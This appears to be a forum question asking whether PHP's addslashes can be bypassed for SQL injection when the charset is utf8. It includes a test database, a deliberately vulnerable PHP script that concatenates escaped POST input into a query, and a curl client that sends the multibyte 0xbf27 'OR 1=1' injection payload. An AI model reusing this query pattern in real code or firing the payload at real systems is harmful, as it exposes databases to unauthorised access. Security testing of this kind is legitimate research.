I am trying to verify if using addslashes on a script is exploitable or not, it's known for everyone that addslashes shouldn't be used but, but the question is, is it always exploitable?
I found plenty of information on abusing addslashes in two cases when the charset is NOT utf8 (using double byte conversions) and also when the variable is enclosed by ""
So, can addslashes be bypassed when none of those cases above happens? This is the code I've been testing with:
data.sql file with the db dump:
CREATE TABLE IF NOT EXISTS `test` (
`user` varchar(25) NOT NULL
) ENGINE=MyISAM DEFAULT CHARSET=utf8;
INSERT INTO `test` (`user`) VALUES
('admin'),
('user');
mysql -u test -ptestpw test < data.sql
index.php to place in the server
<?php
//Server script the receives content via post
mysql_connect("localhost","test","testpw");
mysql_select_db("test");
$user=addslashes($_POST['username']);
$query="SELECT * FROM test WHERE user='".$user."'";
$q=mysql_query($query) or die (mysql_error());
$num_rows = mysql_num_rows($q);
echo "Listed rows: $num_rows";
if ($num_rows > 0) {
$a=mysql_fetch_array($q);
print_r($a);
}
?>
query.php to be placed on the client machine
<?php
//Client script crafting the special url
$url = "http://example.com/index.php";
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $url );
curl_setopt( $ch, CURLOPT_POST, TRUE );
curl_setopt( $ch, CURLOPT_POSTFIELDS, "username=" .
chr(0xbf) . chr(0x27) .
"OR 1=1/*&submit=1" );
$data = curl_exec( $ch );
print( $data );
curl_close( $ch );
?>
Some references: